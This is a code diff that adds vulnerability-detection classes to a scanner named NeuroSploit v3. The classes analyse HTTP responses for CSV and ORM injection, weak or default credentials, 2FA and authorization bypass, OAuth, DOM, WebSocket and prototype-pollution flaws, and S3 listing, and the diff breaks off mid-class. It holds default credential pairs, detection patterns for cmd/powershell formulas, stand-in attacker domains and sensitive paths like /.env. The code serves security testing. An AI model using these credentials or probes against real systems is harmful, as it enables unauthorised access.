||||
super().__init__()
|
||||
self.name = "csv_injection"
|
||||
self.formula_chars = ["=", "+", "-", "@", "\t", "\r"]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for formula characters preserved in CSV export responses"""
|
||||
headers_lower = {k.lower(): v.lower() for k, v in response_headers.items()}
|
||||
content_type = headers_lower.get("content-type", "")
|
||||
|
||||
# Check if response is CSV or spreadsheet
|
||||
is_csv = "text/csv" in content_type or "spreadsheet" in content_type
|
||||
is_export = "content-disposition" in headers_lower and any(
|
||||
ext in headers_lower.get("content-disposition", "")
|
||||
for ext in [".csv", ".xls", ".xlsx"]
|
||||
)
|
||||
|
||||
if is_csv or is_export:
|
||||
# Check if formula characters are preserved without escaping
|
||||
for char in self.formula_chars:
|
||||
if char in payload and payload in response_body:
|
||||
return True, 0.8, f"CSV injection: formula character '{char}' preserved in export"
|
||||
|
||||
# Check for specific formula patterns
|
||||
formula_patterns = [
|
||||
r'[=+\-@].*(?:HYPERLINK|IMPORTXML|IMPORTDATA|cmd|powershell)',
|
||||
r'=\w+\(.*\)',
|
||||
]
|
||||
for pattern in formula_patterns:
|
||||
if re.search(pattern, response_body):
|
||||
return True, 0.7, "CSV injection: formula pattern found in export data"
|
||||
|
||||
# Non-CSV response but payload was stored
|
||||
if response_status in [200, 201] and any(c in payload for c in self.formula_chars[:4]):
|
||||
if payload in response_body:
|
||||
return True, 0.4, "Formula characters accepted and stored - verify CSV export"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class OrmInjectionTester(BaseTester):
|
||||
"""Tester for ORM Injection vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "orm_injection"
|
||||
self.error_patterns = [
|
||||
r"Hibernate.*Exception",
|
||||
r"javax\.persistence",
|
||||
r"org\.hibernate",
|
||||
r"ActiveRecord::.*Error",
|
||||
r"Sequelize.*Error",
|
||||
r"SQLAlchemy.*Error",
|
||||
r"Doctrine.*Exception",
|
||||
r"TypeORM.*Error",
|
||||
r"Prisma.*Error",
|
||||
r"EntityFramework.*Exception",
|
||||
r"LINQ.*Exception",
|
||||
r"django\.db.*Error",
|
||||
r"peewee\.\w+Error",
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for ORM injection indicators"""
|
||||
# ORM error messages
|
||||
for pattern in self.error_patterns:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
return True, 0.8, f"ORM error detected: {match.group(0)[:100]}"
|
||||
|
||||
# Filter manipulation - unexpected data returned
|
||||
if any(op in payload for op in ["__gt", "__lt", "__ne", "$ne", "$gt", ">=", "!="]):
|
||||
if response_status == 200:
|
||||
# Check context for baseline comparison
|
||||
if "baseline_length" in context:
|
||||
diff = abs(len(response_body) - context["baseline_length"])
|
||||
if diff > 500:
|
||||
return True, 0.6, f"ORM filter manipulation: response size differs by {diff} bytes"
|
||||
|
||||
# Check for data volume suggesting bypassed filters
|
||||
if "__all" in payload or "objects.all" in payload:
|
||||
if response_status == 200 and len(response_body) > 10000:
|
||||
return True, 0.5, "ORM injection may have bypassed query filters - large data returned"
|
||||
|
||||
return False, 0.0, None
|
||||
@@ -122,3 +122,226 @@ class SessionFixationTester(BaseTester):
|
||||
return True, 0.6, "Session ID exposed in URL"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class WeakPasswordTester(BaseTester):
|
||||
"""Tester for Weak Password acceptance"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "weak_password"
|
||||
self.weak_passwords = [
|
||||
"123456", "password", "12345678", "qwerty", "abc123",
|
||||
"111111", "123123", "admin", "letmein", "welcome",
|
||||
"1234", "1", "a"
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for successful login/registration with weak passwords"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if payload contains a weak password
|
||||
payload_has_weak = any(wp in payload for wp in self.weak_passwords)
|
||||
if not payload_has_weak:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check for successful auth with weak password
|
||||
if response_status in [200, 201, 302]:
|
||||
success_indicators = [
|
||||
r'"(?:access_)?token"\s*:', r'"session"\s*:',
|
||||
r"(?:login|registration|signup)\s+successful",
|
||||
r'"authenticated"\s*:\s*true', r'"success"\s*:\s*true',
|
||||
r"welcome", r"dashboard", r"logged\s*in",
|
||||
]
|
||||
for pattern in success_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
matched_pw = next((wp for wp in self.weak_passwords if wp in payload), "unknown")
|
||||
return True, 0.85, f"Weak password accepted: '{matched_pw}' allowed for authentication"
|
||||
|
||||
# Redirect to authenticated area
|
||||
location = response_headers.get("Location", "")
|
||||
if response_status == 302 and any(x in location.lower() for x in ["dashboard", "home", "profile", "account"]):
|
||||
matched_pw = next((wp for wp in self.weak_passwords if wp in payload), "unknown")
|
||||
return True, 0.8, f"Weak password accepted: Redirect to authenticated area with '{matched_pw}'"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DefaultCredentialsTester(BaseTester):
|
||||
"""Tester for Default Credentials acceptance"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "default_credentials"
|
||||
self.default_creds = [
|
||||
("admin", "admin"), ("admin", "password"), ("admin", "admin123"),
|
||||
("root", "root"), ("root", "toor"), ("root", "password"),
|
||||
("administrator", "administrator"), ("admin", "1234"),
|
||||
("test", "test"), ("guest", "guest"), ("user", "user"),
|
||||
("admin", "changeme"), ("admin", "default"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for successful login with default credentials"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if payload matches default creds
|
||||
payload_lower = payload.lower()
|
||||
matched_cred = None
|
||||
for username, password in self.default_creds:
|
||||
if username in payload_lower and password in payload_lower:
|
||||
matched_cred = f"{username}/{password}"
|
||||
break
|
||||
|
||||
if not matched_cred:
|
||||
return False, 0.0, None
|
||||
|
||||
# Check for successful login
|
||||
if response_status in [200, 201, 302]:
|
||||
auth_success = [
|
||||
r'"(?:access_)?token"\s*:', r'"session"\s*:',
|
||||
r"(?:login|auth)\s+successful", r'"success"\s*:\s*true',
|
||||
r'"authenticated"\s*:\s*true', r"welcome",
|
||||
r"dashboard", r"admin\s*panel",
|
||||
]
|
||||
for pattern in auth_success:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Default credentials accepted: {matched_cred}"
|
||||
|
||||
# Redirect to admin/dashboard
|
||||
location = response_headers.get("Location", "")
|
||||
if response_status == 302 and any(x in location.lower() for x in ["dashboard", "admin", "home", "panel"]):
|
||||
return True, 0.85, f"Default credentials accepted: {matched_cred} (redirect to {location})"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TwoFactorBypassTester(BaseTester):
|
||||
"""Tester for Two-Factor Authentication Bypass"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "two_factor_bypass"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for authenticated access without completing 2FA"""
|
||||
body_lower = response_body.lower()
|
||||
|
||||
# Check if we reached authenticated content without 2FA
|
||||
if response_status == 200:
|
||||
# Authenticated area indicators
|
||||
auth_area_patterns = [
|
||||
r"dashboard", r"my\s*account", r"profile",
|
||||
r"settings", r"admin\s*panel", r'"user"\s*:\s*\{',
|
||||
r'"email"\s*:\s*"[^"]+"', r'"role"\s*:',
|
||||
]
|
||||
# 2FA page indicators (we should NOT see these if bypassed)
|
||||
twofa_page_patterns = [
|
||||
r"(?:enter|verify)\s+(?:your\s+)?(?:otp|code|token|2fa)",
|
||||
r"two.?factor", r"verification\s+code",
|
||||
r"authenticator", r"sms\s+code",
|
||||
]
|
||||
|
||||
has_auth_content = any(re.search(p, response_body, re.IGNORECASE) for p in auth_area_patterns)
|
||||
is_twofa_page = any(re.search(p, response_body, re.IGNORECASE) for p in twofa_page_patterns)
|
||||
|
||||
if has_auth_content and not is_twofa_page:
|
||||
# Check if payload suggests 2FA bypass attempt
|
||||
bypass_indicators = [
|
||||
"2fa", "otp", "mfa", "verify", "code",
|
||||
"step2", "second", "challenge",
|
||||
]
|
||||
if any(bi in payload.lower() for bi in bypass_indicators):
|
||||
return True, 0.85, "2FA bypass: Authenticated area accessed without completing 2FA"
|
||||
|
||||
# Direct navigation bypass
|
||||
if context.get("skip_2fa") or context.get("direct_access"):
|
||||
return True, 0.9, "2FA bypass: Direct navigation to authenticated page bypassed 2FA"
|
||||
|
||||
# Redirect skipping 2FA step
|
||||
if response_status in [301, 302]:
|
||||
location = response_headers.get("Location", "").lower()
|
||||
if any(x in location for x in ["dashboard", "home", "account"]):
|
||||
if "verify" not in location and "2fa" not in location and "otp" not in location:
|
||||
return True, 0.7, "2FA bypass: Redirect to authenticated area skipping verification"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class OauthMisconfigTester(BaseTester):
|
||||
"""Tester for OAuth Misconfiguration"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "oauth_misconfig"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for OAuth misconfiguration (open redirect, token leakage)"""
|
||||
# Check for open redirect in OAuth flow
|
||||
if response_status in [301, 302, 303, 307]:
|
||||
location = response_headers.get("Location", "")
|
||||
|
||||
# External redirect in OAuth callback
|
||||
if "redirect_uri" in payload.lower() or "callback" in payload.lower():
|
||||
# Check if redirecting to attacker-controlled domain
|
||||
evil_domains = ["evil.com", "attacker.com", "malicious.com"]
|
||||
if any(domain in location for domain in evil_domains):
|
||||
return True, 0.9, f"OAuth misconfig: Open redirect in OAuth flow to {location}"
|
||||
|
||||
# Check if arbitrary redirect_uri accepted
|
||||
if payload in location:
|
||||
return True, 0.85, "OAuth misconfig: Arbitrary redirect_uri accepted"
|
||||
|
||||
# Check for token in URL parameters (should be in fragment or POST)
|
||||
if response_status in [200, 302]:
|
||||
location = response_headers.get("Location", "")
|
||||
# Token in query string instead of fragment
|
||||
token_in_url = re.search(
|
||||
r'[?&](?:access_token|token|code)=([A-Za-z0-9._-]+)',
|
||||
location
|
||||
)
|
||||
if token_in_url:
|
||||
return True, 0.8, "OAuth misconfig: Token/code exposed in URL query parameters"
|
||||
|
||||
# Token in response body URL
|
||||
token_in_body = re.search(
|
||||
r'(?:redirect|callback|return)["\']?\s*[:=]\s*["\']?https?://[^"\'>\s]*[?&]access_token=',
|
||||
response_body, re.IGNORECASE
|
||||
)
|
||||
if token_in_body:
|
||||
return True, 0.75, "OAuth misconfig: Access token in redirect URL"
|
||||
|
||||
# Check for missing state parameter (CSRF in OAuth)
|
||||
if "state=" not in response_body and "state=" not in response_headers.get("Location", ""):
|
||||
if re.search(r"(?:authorize|oauth|auth)\?", response_body, re.IGNORECASE):
|
||||
return True, 0.6, "OAuth misconfig: Missing state parameter (CSRF risk)"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -128,3 +128,166 @@ class PrivilegeEscalationTester(BaseTester):
|
||||
return True, 0.7, f"Privilege escalation: Admin functionality '{func}' accessible"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class BflaTester(BaseTester):
|
||||
"""Tester for Broken Function Level Authorization (BFLA)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "bfla"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for admin functionality accessible to regular user"""
|
||||
if response_status == 200:
|
||||
# Admin-specific data patterns
|
||||
admin_data_patterns = [
|
||||
r'"users"\s*:\s*\[',
|
||||
r'"all_users"\s*:',
|
||||
r'"admin_settings"\s*:',
|
||||
r'"system_config"\s*:',
|
||||
r'"audit_log"\s*:',
|
||||
r'"role"\s*:\s*"admin"',
|
||||
r'"permissions"\s*:\s*\[',
|
||||
r'"api_keys"\s*:\s*\[',
|
||||
]
|
||||
|
||||
for pattern in admin_data_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Check if this was an admin endpoint accessed as regular user
|
||||
admin_url_indicators = [
|
||||
"/admin", "/manage", "/users", "/settings",
|
||||
"/config", "/system", "/audit", "/logs",
|
||||
]
|
||||
if any(ind in payload.lower() for ind in admin_url_indicators):
|
||||
return True, 0.85, f"BFLA: Admin data returned for non-admin request"
|
||||
|
||||
# Admin page content
|
||||
admin_content = [
|
||||
"user management", "system configuration", "admin dashboard",
|
||||
"manage users", "all accounts", "server status",
|
||||
"delete user", "create admin",
|
||||
]
|
||||
body_lower = response_body.lower()
|
||||
for content in admin_content:
|
||||
if content in body_lower:
|
||||
return True, 0.8, f"BFLA: Admin functionality '{content}' accessible to regular user"
|
||||
|
||||
# Admin endpoint should return 403 for non-admin
|
||||
if response_status not in [401, 403] and context.get("is_admin_endpoint"):
|
||||
if response_status == 200:
|
||||
return True, 0.7, "BFLA: Admin endpoint returned 200 instead of 403"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class MassAssignmentTester(BaseTester):
|
||||
"""Tester for Mass Assignment vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "mass_assignment"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for extra parameters being accepted and modifying model state"""
|
||||
if response_status in [200, 201]:
|
||||
# Check if privileged fields were accepted
|
||||
privileged_fields = [
|
||||
(r'"(?:is_)?admin"\s*:\s*true', "admin flag"),
|
||||
(r'"role"\s*:\s*"admin"', "admin role"),
|
||||
(r'"role"\s*:\s*"superuser"', "superuser role"),
|
||||
(r'"verified"\s*:\s*true', "verified status"),
|
||||
(r'"is_staff"\s*:\s*true', "staff flag"),
|
||||
(r'"is_superuser"\s*:\s*true', "superuser flag"),
|
||||
(r'"balance"\s*:\s*\d{4,}', "balance modification"),
|
||||
(r'"credits"\s*:\s*\d{3,}', "credits modification"),
|
||||
(r'"discount"\s*:\s*\d+', "discount field"),
|
||||
(r'"price"\s*:\s*0', "price zeroed"),
|
||||
]
|
||||
|
||||
# Check if payload attempted mass assignment
|
||||
mass_assign_indicators = [
|
||||
"admin", "role", "is_staff", "is_superuser",
|
||||
"verified", "balance", "credits", "price", "discount",
|
||||
]
|
||||
payload_has_mass_assign = any(ind in payload.lower() for ind in mass_assign_indicators)
|
||||
|
||||
if payload_has_mass_assign:
|
||||
for pattern, field_name in privileged_fields:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, f"Mass assignment: Privileged field '{field_name}' accepted and reflected"
|
||||
|
||||
# Check if response changed compared to baseline
|
||||
if context.get("baseline_body"):
|
||||
baseline = context["baseline_body"]
|
||||
if response_body != baseline and len(response_body) > len(baseline):
|
||||
return True, 0.6, "Mass assignment: Response differs from baseline after extra parameters"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ForcedBrowsingTester(BaseTester):
|
||||
"""Tester for Forced Browsing (direct access to restricted URLs)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "forced_browsing"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for direct access to restricted URLs without proper authorization"""
|
||||
# Should get 401/403/302 for restricted content, not 200
|
||||
if response_status == 200:
|
||||
# Sensitive content indicators
|
||||
sensitive_patterns = [
|
||||
(r"(?:admin|management)\s+(?:panel|dashboard|console)", "admin panel"),
|
||||
(r'"(?:password|secret|api_key|token)"\s*:\s*"[^"]+"', "sensitive data"),
|
||||
(r"(?:backup|dump|export)\s+(?:file|data|database)", "backup files"),
|
||||
(r"phpinfo\(\)", "PHP info page"),
|
||||
(r"(?:configuration|config)\s+(?:file|settings)", "configuration page"),
|
||||
(r"(?:internal|private)\s+(?:api|endpoint|documentation)", "internal docs"),
|
||||
(r"(?:debug|diagnostic)\s+(?:info|page|console)", "debug page"),
|
||||
(r"(?:user|customer)\s+(?:list|database|records)", "user records"),
|
||||
]
|
||||
|
||||
for pattern, desc in sensitive_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, f"Forced browsing: Restricted content accessible - {desc}"
|
||||
|
||||
# Check for restricted URL patterns in payload
|
||||
restricted_paths = [
|
||||
"/admin", "/backup", "/config", "/internal",
|
||||
"/debug", "/private", "/management", "/phpinfo",
|
||||
"/.git", "/.env", "/wp-admin", "/server-status",
|
||||
]
|
||||
if any(path in payload.lower() for path in restricted_paths):
|
||||
if len(response_body) > 200:
|
||||
return True, 0.7, "Forced browsing: Restricted URL returned content (200 OK)"
|
||||
|
||||
# Check that redirect isn't to the same restricted page (false positive)
|
||||
if response_status in [301, 302]:
|
||||
location = response_headers.get("Location", "").lower()
|
||||
if "login" in location or "signin" in location or "auth" in location:
|
||||
return False, 0.0, None # Properly redirecting to login
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -148,3 +148,283 @@ class OpenRedirectTester(BaseTester):
|
||||
return True, 0.7, "Open redirect via JavaScript"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DomClobberingTester(BaseTester):
|
||||
"""Tester for DOM Clobbering vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "dom_clobbering"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for HTML injection that could override JS variables via DOM clobbering"""
|
||||
if response_status == 200:
|
||||
# Check if injected HTML with id/name attributes is reflected
|
||||
clobber_patterns = [
|
||||
r'<(?:a|form|img|input|iframe|embed|object)\s+[^>]*(?:id|name)\s*=\s*["\']?(?:' + re.escape(payload.split("=")[0] if "=" in payload else payload) + r')',
|
||||
r'<a\s+[^>]*id=["\'][^"\']+["\'][^>]*href=["\']',
|
||||
r'<form\s+[^>]*name=["\'][^"\']+["\']',
|
||||
]
|
||||
for pattern in clobber_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, "DOM Clobbering: Injected HTML with id/name attribute reflected"
|
||||
|
||||
# Check for common clobberable global variables
|
||||
clobber_targets = [
|
||||
r'<[^>]+id=["\'](?:location|document|window|self|top|frames|opener|parent)["\']',
|
||||
r'<[^>]+name=["\'](?:location|document|window|self|top|frames|opener|parent)["\']',
|
||||
]
|
||||
for pattern in clobber_targets:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, "DOM Clobbering: HTML element with JS global variable name injected"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class PostMessageVulnTester(BaseTester):
|
||||
"""Tester for postMessage vulnerability (missing origin check)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "postmessage_vuln"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for addEventListener('message') without origin validation"""
|
||||
if response_status == 200:
|
||||
# Find message event listeners
|
||||
message_listener = re.search(
|
||||
r'addEventListener\s*\(\s*["\']message["\']',
|
||||
response_body
|
||||
)
|
||||
if message_listener:
|
||||
# Check if origin is NOT validated nearby
|
||||
# Get surrounding context (500 chars after listener)
|
||||
listener_pos = message_listener.start()
|
||||
handler_block = response_body[listener_pos:listener_pos + 500]
|
||||
|
||||
origin_checks = [
|
||||
r'\.origin\s*[!=]==?\s*["\']',
|
||||
r'event\.origin',
|
||||
r'e\.origin',
|
||||
r'msg\.origin',
|
||||
r'origin\s*===',
|
||||
]
|
||||
has_origin_check = any(re.search(p, handler_block) for p in origin_checks)
|
||||
|
||||
if not has_origin_check:
|
||||
return True, 0.85, "postMessage vulnerability: Message listener without origin validation"
|
||||
else:
|
||||
# Origin check exists but might be weak
|
||||
if re.search(r'\.origin\s*[!=]==?\s*["\']["\']', handler_block):
|
||||
return True, 0.7, "postMessage vulnerability: Origin check appears to be empty string"
|
||||
|
||||
# Check for postMessage with wildcard origin
|
||||
wildcard_post = re.search(
|
||||
r'\.postMessage\s*\([^)]+,\s*["\']\*["\']',
|
||||
response_body
|
||||
)
|
||||
if wildcard_post:
|
||||
return True, 0.75, "postMessage vulnerability: postMessage with wildcard '*' target origin"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class WebsocketHijackTester(BaseTester):
|
||||
"""Tester for WebSocket Cross-Origin Hijacking"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "websocket_hijack"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for WebSocket connections accepting cross-origin requests"""
|
||||
# WebSocket upgrade accepted (101 Switching Protocols)
|
||||
if response_status == 101:
|
||||
# Check if Origin header was sent and accepted
|
||||
upgrade = response_headers.get("Upgrade", "").lower()
|
||||
if upgrade == "websocket":
|
||||
return True, 0.8, "WebSocket hijack: Cross-origin WebSocket upgrade accepted"
|
||||
|
||||
# Check for WebSocket endpoint in response without origin validation
|
||||
if response_status == 200:
|
||||
ws_patterns = [
|
||||
r'new\s+WebSocket\s*\(\s*["\']wss?://',
|
||||
r'ws://[^"\'>\s]+',
|
||||
r'wss://[^"\'>\s]+',
|
||||
]
|
||||
for pattern in ws_patterns:
|
||||
if re.search(pattern, response_body):
|
||||
# Check for lack of CORS-like origin checking
|
||||
if "origin" not in response_body.lower() or context.get("cross_origin_accepted"):
|
||||
return True, 0.7, "WebSocket hijack: WebSocket endpoint found without apparent origin validation"
|
||||
|
||||
# 403 on WebSocket with wrong origin is good (not vulnerable)
|
||||
if response_status == 403:
|
||||
return False, 0.0, None
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class PrototypePollutionTester(BaseTester):
|
||||
"""Tester for JavaScript Prototype Pollution"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "prototype_pollution"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for __proto__ pollution indicators"""
|
||||
if response_status == 200:
|
||||
# Check if __proto__ payload was processed
|
||||
proto_indicators = [
|
||||
r'__proto__',
|
||||
r'constructor\.prototype',
|
||||
r'Object\.prototype',
|
||||
]
|
||||
|
||||
# Payload should contain proto pollution attempt
|
||||
is_proto_payload = any(
|
||||
ind in payload for ind in ["__proto__", "constructor", "prototype"]
|
||||
)
|
||||
|
||||
if is_proto_payload:
|
||||
# Check for pollution effect in response
|
||||
pollution_effects = [
|
||||
r'"__proto__"\s*:\s*\{',
|
||||
r'"polluted"\s*:\s*true',
|
||||
r'"isAdmin"\s*:\s*true',
|
||||
r'"__proto__":\s*\{[^}]*\}',
|
||||
]
|
||||
for pattern in pollution_effects:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, "Prototype pollution: __proto__ property accepted and reflected"
|
||||
|
||||
# Check if server processed the prototype chain modification
|
||||
if response_status == 200 and "__proto__" in response_body:
|
||||
return True, 0.7, "Prototype pollution: __proto__ present in server response"
|
||||
|
||||
# Check for error indicating proto processing
|
||||
if re.search(r"(?:cannot|unable to).*(?:merge|assign|extend).*proto", response_body, re.IGNORECASE):
|
||||
return True, 0.6, "Prototype pollution: Server attempted to process __proto__"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CssInjectionTester(BaseTester):
|
||||
"""Tester for CSS Injection vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "css_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CSS code rendered in style context"""
|
||||
if response_status == 200:
|
||||
# Check if CSS payload is reflected in style context
|
||||
css_contexts = [
|
||||
# Inside <style> tags
|
||||
r'<style[^>]*>(?:[^<]*?)' + re.escape(payload)[:30].replace("\\", "\\\\"),
|
||||
# Inside style attribute
|
||||
r'style\s*=\s*["\'][^"\']*' + re.escape(payload)[:30].replace("\\", "\\\\"),
|
||||
]
|
||||
|
||||
for pattern in css_contexts:
|
||||
try:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.85, "CSS injection: Payload reflected in style context"
|
||||
except re.error:
|
||||
continue
|
||||
|
||||
# Check for common CSS injection payloads reflected
|
||||
css_attack_patterns = [
|
||||
r'expression\s*\(',
|
||||
r'url\s*\(\s*["\']?javascript:',
|
||||
r'@import\s+["\']?https?://',
|
||||
r'background:\s*url\s*\(\s*["\']?https?://[^"\')\s]*attacker',
|
||||
r'behavior:\s*url\s*\(',
|
||||
r'-moz-binding:\s*url\s*\(',
|
||||
]
|
||||
for pattern in css_attack_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, "CSS injection: Dangerous CSS property reflected"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TabnabbingTester(BaseTester):
|
||||
"""Tester for Reverse Tabnabbing vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "tabnabbing"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for target=_blank links without rel=noopener"""
|
||||
if response_status == 200:
|
||||
# Find all target=_blank links
|
||||
blank_links = re.finditer(
|
||||
r'<a\s+[^>]*target\s*=\s*["\']_blank["\'][^>]*>',
|
||||
response_body,
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
vulnerable_count = 0
|
||||
for match in blank_links:
|
||||
link_tag = match.group(0)
|
||||
# Check for rel=noopener or rel=noreferrer
|
||||
has_protection = re.search(
|
||||
r'rel\s*=\s*["\'][^"\']*(?:noopener|noreferrer)[^"\']*["\']',
|
||||
link_tag,
|
||||
re.IGNORECASE
|
||||
)
|
||||
if not has_protection:
|
||||
vulnerable_count += 1
|
||||
|
||||
if vulnerable_count > 0:
|
||||
confidence = min(0.5 + vulnerable_count * 0.1, 0.8)
|
||||
return True, confidence, f"Tabnabbing: {vulnerable_count} target=_blank link(s) without rel=noopener/noreferrer"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -0,0 +1,405 @@
|
||||
"""
|
||||
NeuroSploit v3 - Cloud & Supply Chain Vulnerability Testers
|
||||
|
||||
Testers for S3 misconfiguration, cloud metadata, subdomain takeover,
|
||||
vulnerable dependencies, container escape, and serverless misconfiguration.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class S3BucketMisconfigTester(BaseTester):
|
||||
"""Tester for S3 Bucket Misconfiguration vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "s3_bucket_misconfig"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for S3 bucket listing or misconfiguration"""
|
||||
# Bucket listing XML response
|
||||
if re.search(r"<ListBucketResult\s", response_body):
|
||||
return True, 0.95, "S3 bucket listing enabled - bucket contents exposed"
|
||||
|
||||
# Bucket listing with objects
|
||||
